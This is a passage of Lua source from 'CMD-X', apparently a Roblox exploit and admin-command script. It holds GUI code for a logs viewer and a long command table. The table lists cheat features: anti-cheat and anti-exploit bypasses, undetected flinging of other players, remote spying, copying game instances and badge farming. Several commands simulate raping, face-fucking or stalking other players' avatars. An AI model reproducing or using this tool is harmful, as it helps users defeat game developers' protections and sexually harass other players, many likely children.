2258 sf.CanvasSize = UDim2.new(0,0,0,alls+tl.TextBounds.Y)
2259 sf.CanvasPosition = Vector2.new(0,sf.CanvasPosition.Y+tl.TextBounds.Y)
2260 local size2 = sf.CanvasSize.Y.Offset
2261 tl:TweenPosition(UDim2.new(0,3,0,alls), 'In', 'Quint', 0.5)
2262 for i = 0,50 do
2263 wait(0.05)
2264 tl.TextTransparency = tl.TextTransparency - 0.05
2265 end
2266 tl.TextTransparency = 0
2267end
2268
2269logsholding = Instance.new("Frame")
2270logsviewertitle = Instance.new("TextLabel")
2271xoutoflogs = Instance.new("TextButton")
2272logsscrollholder = Instance.new("Frame")
2273refereral = Instance.new("TextLabel")
2274splittinger = Instance.new("Frame")
2275Scrollinglogs = Instance.new("ScrollingFrame")
2276Save2 = Instance.new("TextButton")
2277
2278logsholding.Name = "logsholding"
2279logsholding.Parent = Unnamed
2280logsholding.BackgroundColor3 = Color3.new(0.117647, 0.117647, 0.117647)
2281logsholding.BorderSizePixel = 0
2282logsholding.Position = UDim2.new(0.217357904, 0, 0.208845213, 0)
2283logsholding.Size = UDim2.new(0, 424, 0, 294)
2284logsholding.Visible = false
2285logsholding.Draggable = true
2286logsholding.Active = true
2287
2288logsviewertitle.Name = "logsviewertitle"
2289logsviewertitle.Parent = logsholding
2290logsviewertitle.BackgroundColor3 = Color3.new(1, 1, 1)
2291logsviewertitle.BackgroundTransparency = 1
2292logsviewertitle.Position = UDim2.new(0.264150947, 0, 0, 0)
2293logsviewertitle.Size = UDim2.new(0, 200, 0, 22)
2294logsviewertitle.Font = Enum.Font.GothamBold
2295logsviewertitle.Text = "CMD-X LOGS VIEWER"
2296logsviewertitle.TextColor3 = Color3.new(1, 1, 1)
2297logsviewertitle.TextSize = 14
2298
2299xoutoflogs.Name = "xoutoflogs"
2300xoutoflogs.Parent = logsholding
2301xoutoflogs.BackgroundColor3 = Color3.new(1, 1, 1)
2302xoutoflogs.BackgroundTransparency = 1
2303xoutoflogs.Position = UDim2.new(0.948113203, 0, 0, 0)
2304xoutoflogs.Size = UDim2.new(0, 22, 0, 22)
2305xoutoflogs.Font = Enum.Font.GothamBold
2306xoutoflogs.Text = "X"
2307xoutoflogs.TextColor3 = Color3.new(1, 1, 1)
2308xoutoflogs.TextSize = 20
2309xoutoflogs.MouseButton1Down:Connect(function()
2310 logsholding.Visible = false
2311end)
2312
2313logsscrollholder.Name = "logsscrollholder"
2314logsscrollholder.Parent = logsholding
2315logsscrollholder.BackgroundColor3 = Color3.new(0.164706, 0.164706, 0.164706)
2316logsscrollholder.BorderSizePixel = 0
2317logsscrollholder.Position = UDim2.new(0.0306603778, 0, 0.0748299286, 0)
2318logsscrollholder.Size = UDim2.new(0, 397, 0, 232)
2319
2320refereral.Name = "refereral"
2321refereral.Parent = logsscrollholder
2322refereral.BackgroundColor3 = Color3.new(0.164706, 0.164706, 0.164706)
2323refereral.BorderSizePixel = 0
2324refereral.Size = UDim2.new(0, 397, 0, 20)
2325refereral.Font = Enum.Font.Gotham
2326refereral.Text = " Username | Message"
2327refereral.TextColor3 = Color3.new(1, 1, 1)
2328refereral.TextSize = 14
2329refereral.TextXAlignment = Enum.TextXAlignment.Left
2330
2331splittinger.Name = "splittinger"
2332splittinger.Parent = logsscrollholder
2333splittinger.BackgroundColor3 = Color3.new(1, 1, 1)
2334splittinger.BorderColor3 = Color3.new(1, 1, 1)
2335splittinger.Position = UDim2.new(0.0100755664, 0, 0.0892857313, 0)
2336splittinger.Size = UDim2.new(0, 389, 0, 0)
2337
2338Scrollinglogs.Name = "Scrollinglogs"
2339Scrollinglogs.Parent = logsscrollholder
2340Scrollinglogs.BackgroundColor3 = Color3.new(0.164706, 0.164706, 0.164706)
2341Scrollinglogs.BorderColor3 = Color3.new(0.117647, 0.117647, 0.117647)
2342Scrollinglogs.BorderSizePixel = 0
2343Scrollinglogs.Position = UDim2.new(0.00986763742, 0, 0.102678575, 0)
2344Scrollinglogs.Size = UDim2.new(0, 389, 0, 204)
2345Scrollinglogs.ScrollBarThickness = 10
2346
2347Save2.Name = "Save"
2348Save2.Parent = logsholding
2349Save2.BackgroundColor3 = Color3.new(0.164706, 0.164706, 0.164706)
2350Save2.BorderSizePixel = 0
2351Save2.Position = UDim2.new(0.275943398, 0, 0.887755096, 0)
2352Save2.Size = UDim2.new(0, 188, 0, 26)
2353Save2.Font = Enum.Font.GothamBold
2354Save2.Text = "Save as .txt"
2355Save2.TextColor3 = Color3.new(1, 1, 1)
2356Save2.TextSize = 14
2357Save2.MouseButton1Down:Connect(function()
2358 writestats2 = "\n"
2359 for i,v in pairs(Scrollinglogs:GetChildren()) do
2360 writestats2 = writestats2.."\n"..v.Text
2361 end
2362 writefile("CMD-X Logs "..math.random(1,1000)..".txt",tostring(writestats2))
2363end)
2364
2365function CreateLabel(Name, Text)
2366 local plr = cmdp:GetChildren()
2367 local sf = Scrollinglogs
2368 if #sf:GetChildren() >= 2546 then
2369 sf:ClearAllChildren()
2370 end
2371 local alls = 0
2372 for i,v in pairs(sf:GetChildren()) do
2373 if v then
2374 alls = v.Size.Y.Offset + alls
2375 end
2376 if not v then
2377 alls = 0
2378 end
2379 end
2380 local tl = Instance.new('TextLabel', sf)
2381 local il = Instance.new('Frame', tl)
2382 tl.Name = Name
2383 tl.ZIndex = 6
2384 tl.Text = "["..Name.."] | "..Text
2385 tl.Size = UDim2.new(0,322,0,60)
2386 tl.BackgroundTransparency = 1
2387 tl.BorderSizePixel = 0
2388 tl.Font = "SourceSansBold"
2389 tl.Position = UDim2.new(-1,0,0,alls)
2390 tl.TextTransparency = 1
2391 tl.TextScaled = false
2392 tl.TextSize = 14
2393 tl.TextWrapped = true
2394 tl.TextXAlignment = "Left"
2395 tl.TextYAlignment = "Top"
2396 il.BackgroundTransparency = 1
2397 il.BorderSizePixel = 0
2398 il.Size = UDim2.new(0,12,1,0)
2399 il.Position = UDim2.new(0,316,0,0)
2400 tl.TextColor3 = Color3.fromRGB(255,255,255)
2401 tl.Size = UDim2.new(0,322,0,tl.TextBounds.Y)
2402 sf.CanvasSize = UDim2.new(0,0,0,alls+tl.TextBounds.Y)
2403 sf.CanvasPosition = Vector2.new(0,sf.CanvasPosition.Y+tl.TextBounds.Y)
2404 local size2 = sf.CanvasSize.Y.Offset
2405 tl:TweenPosition(UDim2.new(0,3,0,alls), 'In', 'Quint', 0.5)
2406 for i = 0,50 do
2407 wait(0.05)
2408 tl.TextTransparency = tl.TextTransparency - 0.05
2409 end
2410 tl.TextTransparency = 0
2411end
2412function CreateADLabel(name,rank)
2413 local sf3 = Scrollingad
2414 if #sf3:GetChildren() >= 2546 then
2415 sf3:ClearAllChildren()
2416 end
2417 local alls3 = 0
2418 for i,v in pairs(sf3:GetChildren()) do
2419 if v then
2420 alls3 = v.Size.Y.Offset + alls3
2421 end
2422 if not v then
2423 alls3 = 0
2424 end
2425 end
2426 local tl3 = Instance.new('TextLabel', sf3)
2427 local il3 = Instance.new('Frame', tl3)
2428 tl3.Name = name
2429 tl3.ZIndex = 6
2430 tl3.Text = name.." | "..rank
2431 tl3.Size = UDim2.new(0,322,0,50)
2432 tl3.BackgroundTransparency = 1
2433 tl3.BorderSizePixel = 0
2434 tl3.Font = "SourceSansBold"
2435 tl3.Position = UDim2.new(-1,0,0,alls3)
2436 tl3.TextTransparency = 1
2437 tl3.TextScaled = false
2438 tl3.TextSize = 14
2439 tl3.TextWrapped = true
2440 tl3.TextXAlignment = "Left"
2441 tl3.TextYAlignment = "Top"
2442 il3.BackgroundTransparency = 1
2443 il3.BorderSizePixel = 0
2444 il3.Size = UDim2.new(0,12,1,0)
2445 il3.Position = UDim2.new(0,316,0,0)
2446 tl3.TextColor3 = Color3.fromRGB(255,255,255)
2447 tl3.Size = UDim2.new(0,322,0,tl3.TextBounds.Y)
2448 sf3.CanvasSize = UDim2.new(0,0,0,alls3+tl3.TextBounds.Y)
2449 sf3.CanvasPosition = Vector2.new(0,sf3.CanvasPosition.Y+tl3.TextBounds.Y)
2450 local size33 = sf3.CanvasSize.Y.Offset
2451 tl3:TweenPosition(UDim2.new(0,3,0,alls3), 'In', 'Quint', 0.5)
2452 tl3.TextTransparency = 0
2453end
2454local CMDN = {}
2455local CS = {}
2456CMDN[#CMDN+1] = {N = "prefix", A = {""}, CMD = "1,prefix,,Shows you the chat prefix."}
2457CMDN[#CMDN+1] = {N = "promptnew", A = {""}, CMD = "2,promptnew,(str/name),Changes your prompt text to something else."}
2458CMDN[#CMDN+1] = {N = "prefixnew", A = {""}, CMD = "3,prefixnew,(str),Changes chat prefix."}
2459CMDN[#CMDN+1] = {N = "hotkeyopen", A = {""}, CMD = "4,hotkeyopen,(str),Changes your hotkey for opening the GUI."}
2460CMDN[#CMDN+1] = {N = "hotkeyoutput", A = {""}, CMD = "5,hotkeyoutput,(str),Changes your hotkey for opening the output GUI."}
2461CMDN[#CMDN+1] = {N = "hotkeyfocus", A = {""}, CMD = "6,hotkeyfocus,(str),Changes your hotkey for focusing on the cmdbar."}
2462CMDN[#CMDN+1] = {N = "entercmdnew", A = {""}, CMD = "7,entercmdnew,(str),Adds a new command to the list of commands that are activated when you first execute CMD-X."}
2463CMDN[#CMDN+1] = {N = "entercmds", A = {""}, CMD = "8,entercmds,,Allows you to add entercmds."}
2464CMDN[#CMDN+1] = {N = "entercmddel", A = {""}, CMD = "9,entercmddel,(str),Deletes a command in the entercmds list."}
2465CMDN[#CMDN+1] = {N = "entercmdsclr", A = {""}, CMD = "10,entercmdsclr,,Clears the entercmds."}
2466CMDN[#CMDN+1] = {N = "eightballpu", A = {"8ballpu"}, CMD = "11,eightballpu/8ballpu,(str),Ask 8Ball a question publicly."}
2467CMDN[#CMDN+1] = {N = "eightballpr", A = {"8ballpr"}, CMD = "12,eightballpr/8ballpr,(str),Ask 8Ball a question privately."}
2468CMDN[#CMDN+1] = {N = "friendjoin", A = {"fjoin"}, CMD = "13,friendjoin/fjoin,(full plr name),Joins your friends game."}
2469CMDN[#CMDN+1] = {N = "support", A = {""}, CMD = "14,support/help,(CB/COPY),If you need support while using CMD-X use this command!"}
2470CMDN[#CMDN+1] = {N = "commands", A = {"cmds","help"}, CMD = "15,cmds/commands,,Shows this page."}
2471CMDN[#CMDN+1] = {N = "config", A = {"settings"}, CMD = "16,config/settings,,Configure CMD-X."}
2472CMDN[#CMDN+1] = {N = "advertise", A = {"adv"}, CMD = "17,adv/advertise,,Help spread CMD-X by doing this cmd in game! (<3)"}
2473CMDN[#CMDN+1] = {N = "unadvertise", A = {"unadv"}, CMD = "18,unadv/unadvertise,,()"}
2474CMDN[#CMDN+1] = {N = "version", A = {"ver","v"}, CMD = "19,version/ver/v,,Shows version."}
2475CMDN[#CMDN+1] = {N = "nextupdate", A = {""}, CMD = "20,nextupdate,,Shows you when the next update may be coming out."}
2476CMDN[#CMDN+1] = {N = "walkspeed", A = {"ws"}, CMD = "21,ws/walkspeed,(num),Sets your characters walkspeed."}
2477CMDN[#CMDN+1] = {N = "defaultwalkspeed", A = {"dws"}, CMD = "22,dws/defaultwalkspeed,,()"}
2478CMDN[#CMDN+1] = {N = "jumppower", A = {"jp"}, CMD = "23,jp/jumppower,(num),Sets your characters jumppower."}
2479CMDN[#CMDN+1] = {N = "defaultjumppower", A = {"djp"}, CMD = "24,djp/deafultjumppower,,()"}
2480CMDN[#CMDN+1] = {N = "hipheight", A = {"hh"}, CMD = "25,hh/hipheight,(num),Sets your characters hipheight."}
2481CMDN[#CMDN+1] = {N = "defaulthipheight", A = {"dhh"}, CMD = "26,dhh/defaulthipheight,,()"}
2482CMDN[#CMDN+1] = {N = "gravity", A = {"grav"}, CMD = "27,gravity/grav,(num),Sets your characters gravity."}
2483CMDN[#CMDN+1] = {N = "defaultgravity", A = {"dgrav"}, CMD = "28,dgrav/defaultgravity,,()"}
2484CMDN[#CMDN+1] = {N = "bodypositionwalkspeed", A = {"bpws"}, CMD = "29,bpws/bodypositionwalkspeed,(num),Modifies your characters bodyposition walkspeed. (R6 ONLY) (AC BYPASS)"}
2485CMDN[#CMDN+1] = {N = "halve", A = {"decapitate"}, CMD = "30,halve/decapitate,,Splits your character into two. (R15 ONLY)"}
2486CMDN[#CMDN+1] = {N = "removehands", A = {"rhands"}, CMD = "31,rhands/removehands,,Removes your characters hands. (R15 ONLY)"}
2487CMDN[#CMDN+1] = {N = "removefeet", A = {"rfeet"}, CMD = "32,rfeet/removefeet,,Removes your characters feet. (R15 ONLY)"}
2488CMDN[#CMDN+1] = {N = "removeleftleg", A = {"rlleg"}, CMD = "33,rlleg/removeleftleg,,Removes your left leg."}
2489CMDN[#CMDN+1] = {N = "removerightleg", A = {"rrleg"}, CMD = "34,rrleg/removerightleg,,Removes your right leg."}
2490CMDN[#CMDN+1] = {N = "removeleftarm", A = {"rlarm"}, CMD = "35,rlarm/removeleftarm,,Removes your left arm."}
2491CMDN[#CMDN+1] = {N = "removerightarm", A = {"rrarm"}, CMD = "36,rrarm/removerightarm,,Removes your right arm."}
2492CMDN[#CMDN+1] = {N = "removearms", A = {"rarms"}, CMD = "37,rarms/removearms,,Removes your characters arms."}
2493CMDN[#CMDN+1] = {N = "removelegs", A = {"rlegs"}, CMD = "38,rlegs/removelegs,,Removes your characters legs."}
2494CMDN[#CMDN+1] = {N = "removelimbs", A = {"rlimbs"}, CMD = "39,rlimbs/removelimbs,,Removes your characters limbs."}
2495CMDN[#CMDN+1] = {N = "removeanim", A = {"ranim"}, CMD = "40,ranim/removeanim,,Removes your characters animations."}
2496CMDN[#CMDN+1] = {N = "restoreanim", A = {"reanim"}, CMD = "41,reanim/restoreanim,,Restores your characters animations."}
2497CMDN[#CMDN+1] = {N = "removeshirt", A = {"rshirt"}, CMD = "42,rshirt/removeshirt,,Removes your characters shirt."}
2498CMDN[#CMDN+1] = {N = "removetshirt", A = {"rtshirt"}, CMD = "43,rtshirt/removetshirt,,Removes your characters tshirt"}
2499CMDN[#CMDN+1] = {N = "removepants", A = {"rpants"}, CMD = "44,rpants/removepants,,Removes your characters pants."}
2500CMDN[#CMDN+1] = {N = "removeclothes", A = {"naked","rclothes"}, CMD = "45,naked/rclothes/removeclothes,,Removes your character clothes."}
2501CMDN[#CMDN+1] = {N = "removehatsmesh", A = {"rhatsmesh","rhm"}, CMD = "46,rhatsmesh/rhm/removehatsmesh,,Removes your characters hat meshes."}
2502CMDN[#CMDN+1] = {N = "removegearmesh", A = {"rgearmesh","rgm","rtoolmesh","rtm","removetoolmesh"}, CMD = "47,rgearmesh/rgm/rtoolmesh/rtm/removetoolmesh/removegearmesh,,Removes your current characters gear mesh."}
2503CMDN[#CMDN+1] = {N = "changelog", A = {"clog"}, CMD = "48,changelog/clog,,Opens changelog."}
2504CMDN[#CMDN+1] = {N = "drophats", A = {""}, CMD = "49,drophats,,Drops your characters hats on the map."}
2505CMDN[#CMDN+1] = {N = "dropgears", A = {"droptools"}, CMD = "50,dropgears/droptools,,Drops your characters gears on the map."}
2506CMDN[#CMDN+1] = {N = "hatspam", A = {""}, CMD = "51,hatspam,,Spams your hats onto the map."}
2507CMDN[#CMDN+1] = {N = "unhatspam", A = {""}, CMD = "52,unhatspam,,()"}
2508CMDN[#CMDN+1] = {N = "removeface", A = {"rface"}, CMD = "53,rface/removeface,,Removes your characters face."}
2509CMDN[#CMDN+1] = {N = "removehats", A = {"rhats"}, CMD = "54,rhats/removehats,,Removes your characters hats."}
2510CMDN[#CMDN+1] = {N = "rheadmesh", A = {"rhdm"}, CMD = "55,rheadmesh/rhdm,,Removes the mesh of your characters head."}
2511CMDN[#CMDN+1] = {N = "equip", A = {"equipall"}, CMD = "56,equip/equipall,,Equips all gears in your characters backpack."}
2512CMDN[#CMDN+1] = {N = "banlands", A = {""}, CMD = "57,banlands,(plr),Teleports player to banlands (NEED A HAT AND TOOL).", ARG = "Player"}
2513CMDN[#CMDN+1] = {N = "flip", A = {""}, CMD = "58,flip,,Allows your character to flip."}
2514CMDN[#CMDN+1] = {N = "unflip", A = {""}, CMD = "59,unflip,,()"}
2515CMDN[#CMDN+1] = {N = "doubleflip", A = {"duoflip"}, CMD = "60,duoflip/doubleflip,,Allows your character to double flip."}
2516CMDN[#CMDN+1] = {N = "undoubleflip", A = {"unduoflip"}, CMD = "61,unduoflip/undoubleflip,,()"}
2517CMDN[#CMDN+1] = {N = "glue", A = {"stick"}, CMD = "62,glue/stick,(plr),Sticks your character to the target.", ARG = "Player"}
2518CMDN[#CMDN+1] = {N = "unglue", A = {"unstick"}, CMD = "63,unglue/unstick,,()"}
2519CMDN[#CMDN+1] = {N = "nugget", A = {""}, CMD = "64,nugget,,Makes your character look like a nugget."}
2520CMDN[#CMDN+1] = {N = "cartwheel", A = {""}, CMD = "65,cartwheel,,Makes your character do a cartwheel."}
2521CMDN[#CMDN+1] = {N = "uncartwheel", A = {""}, CMD = "66,uncartwheel,,()"}
2522CMDN[#CMDN+1] = {N = "seizure", A = {"juicewrld"}, CMD = "67,seizure/juicewrld,,Makes your character have a seizure."}
2523CMDN[#CMDN+1] = {N = "unseizure", A = {"unjuicewrld"}, CMD = "68,unseizure/unjuicewrld,,()"}
2524CMDN[#CMDN+1] = {N = "fling", A = {""}, CMD = "69,fling,(plr),Flings player. (COLLISION ONLY)", ARG = "Player"}
2525CMDN[#CMDN+1] = {N = "invisiblefling", A = {"invisfling","ifling"}, CMD = "70,invisiblefling/invisfling/ifling,,Invisibly flings players. (COLLISION ONLY)"}
2526CMDN[#CMDN+1] = {N = "freefling", A = {"ffling"}, CMD = "71,freefling/ffling,,Flings players. (COLLISION ONLY)"}
2527CMDN[#CMDN+1] = {N = "unfling", A = {""}, CMD = "72,unfling,,()"}
2528CMDN[#CMDN+1] = {N = "cleanfling", A = {"cfling"}, CMD = "73,cleanfling/cfling,,Flings players in an undetected way. (COLLISION ONLY)"}
2529CMDN[#CMDN+1] = {N = "lag", A = {"stutter"}, CMD = "74,lag/stutter,,Appears like your character is stuttering or lagging."}
2530CMDN[#CMDN+1] = {N = "unlag", A = {"unstutter"}, CMD = "75,unlag/unstutter,,()"}
2531CMDN[#CMDN+1] = {N = "annoy", A = {""}, CMD = "76,annoy,(plr),Annoys the player.", ARG = "Player"}
2532CMDN[#CMDN+1] = {N = "unannoy", A = {""}, CMD = "77,unannoy,,()"}
2533CMDN[#CMDN+1] = {N = "weaken", A = {"weak"}, CMD = "78,weak/weaken,,Weakens your character."}
2534CMDN[#CMDN+1] = {N = "strengthen", A = {"strong"}, CMD = "79,strong/strengthen,,Strengthens your character."}
2535CMDN[#CMDN+1] = {N = "noresult", A = {" "," ",""}, CMD = "80,,,Saved CMD NUM"}
2536CMDN[#CMDN+1] = {N = "unweak", A = {"unstrong"}, CMD = "81,unweak/unstrong,,()"}
2537CMDN[#CMDN+1] = {N = "plague", A = {""}, CMD = "82,plague,(name),Starts a plague."}
2538CMDN[#CMDN+1] = {N = "parts", A = {""}, CMD = "83,parts,(name),Lists parts."}
2539CMDN[#CMDN+1] = {N = "bringunanchored", A = {"buna"}, CMD = "84,bringunanchored/buna,,Brings unachored parts (works best with .loop).", ARG = "Player"}
2540CMDN[#CMDN+1] = {N = "listunanchored", A = {"luna"}, CMD = "85,listunanchored/luna,,Lists unanchored parts."}
2541CMDN[#CMDN+1] = {N = "credits", A = {""}, CMD = "86,credits,,Lists credits for CMD-X."}
2542CMDN[#CMDN+1] = {N = "animation", A = {"anim"}, CMD = "87,anim/animation,(num1) (num2),Plays the AnimationID you state in num1 and speeds it up in num2. (R6 ONLY)"}
2543CMDN[#CMDN+1] = {N = "unanimation", A = {"unanim"}, CMD = "88,unanim/unanimation,,Stops all animations."}
2544CMDN[#CMDN+1] = {N = "uninsane", A = {"unspas"}, CMD = "89,uninsane/unspas,,()"}
2545CMDN[#CMDN+1] = {N = "monstermash", A = {"mashdance"}, CMD = "90,monstermash/mashdance,,Monster mashes your character. (R6 ONLY)"}
2546CMDN[#CMDN+1] = {N = "ragdoll", A = {"stun"}, CMD = "91,ragdoll/stun,,Stuns your character."}
2547CMDN[#CMDN+1] = {N = "unragdoll", A = {"unstun"}, CMD = "92,unragdoll/unstun,,()"}
2548CMDN[#CMDN+1] = {N = "animpack", A = {""}, CMD = "93,animpack,(animation),Loads the animation you state; toy/ pirate/ knight/ astronaut/ vampire/ robot/ levitation/ bubbly/ werewolf/ stylish/ mage/ cartoony/ zombie/ superhero/ ninja/ elder/ old. (R15 ONLY)"}
2549CMDN[#CMDN+1] = {N = "spin", A = {"beybladeletitrip"}, CMD = "94,spin/baybladeletitrip,(num),Spins your character around like a beyblade."}
2550CMDN[#CMDN+1] = {N = "unspin", A = {""}, CMD = "95,unspin,,()"}
2551CMDN[#CMDN+1] = {N = "hatspin", A = {""}, CMD = "96,hatspin,,Spins your characters hats around your head."}
2552CMDN[#CMDN+1] = {N = "unhatspin", A = {""}, CMD = "97,unhatspin,,()"}
2553CMDN[#CMDN+1] = {N = "facefuck", A = {"facerape"}, CMD = "98,facefuck/facerape,(plr),Sits your character in front of their face to create the illusion of facefucking.", ARG = "Player"}
2554CMDN[#CMDN+1] = {N = "unfacefuck", A = {"unfacerape"}, CMD = "99,unfacefuck/unfacerape,,()"}
2555CMDN[#CMDN+1] = {N = "facefuckanim", A = {"facerapeanim"}, CMD = "100,facefuckanim/facerapeanim,(plr),Places your character in front of their face with an animation to create the illusion of facefucking.", ARG = "Player"}
2556CMDN[#CMDN+1] = {N = "unfacefuckanim", A = {"unfacerapeanim"}, CMD = "101,unfacefuckanim/unfacerapeanim,,()"}
2557CMDN[#CMDN+1] = {N = "piggyback", A = {"ride"}, CMD = "102,piggyback/ride,(plr),Sits your character behind their head to create the illusion of a piggy back.", ARG = "Player"}
2558CMDN[#CMDN+1] = {N = "unpiggyback", A = {"unride"}, CMD = "103,unpiggyback/unride,,()"}
2559CMDN[#CMDN+1] = {N = "fuck", A = {"rape"}, CMD = "104,fuck/rape,(plr),Rapes player you stated using an animation.", ARG = "Player"}
2560CMDN[#CMDN+1] = {N = "unfuck", A = {"unrape"}, CMD = "105,unfuck/unrape,,()"}
2561CMDN[#CMDN+1] = {N = "follow", A = {"stalk"}, CMD = "106,follow/stalk,(plr),Follows player you stated at a safe distance.", ARG = "Player"}
2562CMDN[#CMDN+1] = {N = "unfollow", A = {"unstalk"}, CMD = "107,unfollow/unstalk,,()"}
2563CMDN[#CMDN+1] = {N = "oldroblox", A = {"oldrblx"}, CMD = "108,oldrblx/oldroblox,,Makes your game look like old roblox."}
2564CMDN[#CMDN+1] = {N = "savegame", A = {"sg"}, CMD = "109,savegame/sg,,Saves the current game instance to your workspace folder. (SYNAPSE ONLY)"}
2565CMDN[#CMDN+1] = {N = "btools", A = {"bt"}, CMD = "110,btools/bt,,Gives you building tools. (CLIENT SIDED)"}
2566CMDN[#CMDN+1] = {N = "fex", A = {"f3x"}, CMD = "111,f3x/fex,,Gives you advanced building tools. (CLIENT SIDED) (GUI)"}
2567CMDN[#CMDN+1] = {N = "remotespy", A = {"r2s"}, CMD = "112,r2s/remotespy,,Spies remotes. (GUI)"}
2568CMDN[#CMDN+1] = {N = "badger", A = {""}, CMD = "113,badger,,Opens badger V2. (GUI) (<3)"}
2569CMDN[#CMDN+1] = {N = "explorer", A = {"dex"}, CMD = "114,explorer/dex,,Spies workspace. (GUI)"}
2570CMDN[#CMDN+1] = {N = "removeeffects", A = {"reffects"}, CMD = "115,reffects/removeeffects,,Removes all effects in the game. (CLIENT SIDED)"}
2571CMDN[#CMDN+1] = {N = "removeseats", A = {"rseats"}, CMD = "116,rseats/removeseats,,Removes all seats in game. (CLIENT SIDED)"}
2572CMDN[#CMDN+1] = {N = "removelocalscripts", A = {"rls"}, CMD = "117,removelocalscripts/rls,,Removes all local scripts, useful for bypassing anti exploits. (CLIENT SIDED)"}
2573CMDN[#CMDN+1] = {N = "xray", A = {"x"}, CMD = "118,xray/x,,Changes all items to 0.5 Transparency."}
2574CMDN[#CMDN+1] = {N = "unxray", A = {"unx"}, CMD = "119,unxray/unx,,()"}
2575CMDN[#CMDN+1] = {N = "lockws", A = {"lws"}, CMD = "120,lockws/lws,,Locks all of workspace."}
2576CMDN[#CMDN+1] = {N = "unlockws", A = {"uws"}, CMD = "121,unlockws/uws,,Unlocks all of workspace."}
2577CMDN[#CMDN+1] = {N = "day", A = {"time14"}, CMD = "122,day/time14,,Turns the skybox time to day (18:00). (CLIENT SIDED)"}
2578CMDN[#CMDN+1] = {N = "night", A = {"time0"}, CMD = "123,night/time0,,Turns the skybox time to night (00:00). (CLIENT SIDED)"}
2579CMDN[#CMDN+1] = {N = "removesky", A = {"rsky"}, CMD = "124,rsky/removesky,,Removes the games skybox. (CLIENT SIDED)"}
2580CMDN[#CMDN+1] = {N = "restorelighting", A = {"relighting"}, CMD = "125,relighting/restorelighting,,Restores games lighting. (CLIENT SIDED)"}
2581CMDN[#CMDN+1] = {N = "restorecamera", A = {"recamera"}, CMD = "126,recamera/restorecamera,,Restores your characters camera."}
2582CMDN[#CMDN+1] = {N = "unscramble", A = {""}, CMD = "127,unscramble,,Unscrambles games variable names."}
2583CMDN[#CMDN+1] = {N = "removeinviswalls", A = {"riw"}, CMD = "128,riw/removeinviswalls,,Removes invisible walls in game. (CLIENT SIDED)"}
2584CMDN[#CMDN+1] = {N = "gameinfo", A = {"placeinfo"}, CMD = "129,gameinfo/placeinfo,,Provides various information on the game you are playing in."}
2585CMDN[#CMDN+1] = {N = "closegameinfo", A = {""}, CMD = "130,closegameinfo,,()"}
2586CMDN[#CMDN+1] = {N = "math", A = {"calc","calculate"}, CMD = "131,math/calc/calculate,(num) (+,-,/,*) (num) (CB/COPY),Multiplicates numbers together."}
2587CMDN[#CMDN+1] = {N = "hidechat", A = {""}, CMD = "132,hidechat,,Turns off chat."}
2588CMDN[#CMDN+1] = {N = "showchat", A = {""}, CMD = "133,showchat,,Turns on chat."}
2589CMDN[#CMDN+1] = {N = "switchteam", A = {""}, CMD = "134,switchteam,(str),Switches your team to str if it exists."}
2590CMDN[#CMDN+1] = {N = "ping", A = {""}, CMD = "135,ping,,Shows your ping."}
2591CMDN[#CMDN+1] = {N = "fps", A = {""}, CMD = "136,fps,,Shows your FPS."}
2592CMDN[#CMDN+1] = {N = "unfps", A = {""}, CMD = "137,unfps,,()"}
2593CMDN[#CMDN+1] = {N = "fuckoff", A = {"killgui"}, CMD = "138,killgui/fuckoff,,Closes the GUI."}
2594CMDN[#CMDN+1] = {N = "messagebox", A = {"message","msg"}, CMD = "139,message/messagebox/msg,(str),Makes a message box appear containing the string you entered. (SYNAPSE ONLY)"}
2595CMDN[#CMDN+1] = {N = "filtering", A = {"fe"}, CMD = "140,fe/filter,,Checks if a game is filtered or not."}
2596CMDN[#CMDN+1] = {N = "gameid", A = {"placeid"}, CMD = "141,gameid/placeid,,Lets you know the GameID of the game you are in."}
2597CMDN[#CMDN+1] = {N = "error", A = {""}, CMD = "142,error,(str),Tests error in F9."}
2598CMDN[#CMDN+1] = {N = "print", A = {""}, CMD = "143,print,(str),Tests print in F9."}
2599CMDN[#CMDN+1] = {N = "warn", A = {""}, CMD = "144,warn,(str),Tests warn in F9."}
2600CMDN[#CMDN+1] = {N = "output", A = {""}, CMD = "145,output,(str),Tests output."}
2601CMDN[#CMDN+1] = {N = "forceshiftlock", A = {"sl","shiftlock"}, CMD = "146,sl/shiftlock/forceshiftlock,,If the developer of the game your playing on has disabled Shift Lock this will enable it for your character."}
2602CMDN[#CMDN+1] = {N = "maxcamunlock", A = {"camunlock"}, CMD = "147,maxcamunlock/camunlock,,Unlocks your characters max zooming distance."}
2603CMDN[#CMDN+1] = {N = "position", A = {"pos"}, CMD = "148,pos/position,(CB/COPY),Sends your characters position to output."}
2604CMDN[#CMDN+1] = {N = "audiolog", A = {"audioid"}, CMD = "149,audiolog/audioid,(plr) (CB/COPY),Logs what a user is playing.", ARG = "Player"}
2605CMDN[#CMDN+1] = {N = "cambobble", A = {""}, CMD = "150,cambobble,,Bobbles camera when you walk."}
2606CMDN[#CMDN+1] = {N = "uncambobble", A = {""}, CMD = "151,uncambobble,,()"}
2607CMDN[#CMDN+1] = {N = "grapple", A = {"spiderman"}, CMD = "152,grapple/spiderman,,Grapples to your mouse."}
2608CMDN[#CMDN+1] = {N = "ungrapple", A = {"unspiderman"}, CMD = "153,ungrapple/unspiderman,,()"}
2609CMDN[#CMDN+1] = {N = "remind", A = {""}, CMD = "154,remind,(num) (h/m/s) (str),Reminds you of str when num is done counting."}
2610CMDN[#CMDN+1] = {N = "step", A = {""}, CMD = "155,step,,Allows you to walk up a building."}
2611CMDN[#CMDN+1] = {N = "unstep", A = {""}, CMD = "156,unstep,,()"}
2612CMDN[#CMDN+1] = {N = "antiafk", A = {"afk"}, CMD = "157,antiafk/afk,,Prevents you from idling."}
2613CMDN[#CMDN+1] = {N = "nosit", A = {""}, CMD = "158,nosit,,Stops your character from being sat down."}
2614CMDN[#CMDN+1] = {N = "yessit", A = {""}, CMD = "159,yessit,,()"}
2615CMDN[#CMDN+1] = {N = "nostun", A = {""}, CMD = "160,nostun,,Stops your character from being PlatformStood."}
2616CMDN[#CMDN+1] = {N = "yesstun", A = {""}, CMD = "161,yesstun,,()"}
2617CMDN[#CMDN+1] = {N = "badges", A = {""}, CMD = "162,badges,,Gets all badges if there are any named (Default: BadgeAwarder)."}
2618CMDN[#CMDN+1] = {N = "spawnpoint", A = {"spawn"}, CMD = "163,spawnpoint/spawn,,Sets spawnpoint to your current position."}
2619CMDN[#CMDN+1] = {N = "bunnyhop", A = {"bhop"}, CMD = "164,bhop/bunnyhop,,Bunny hops your character."}
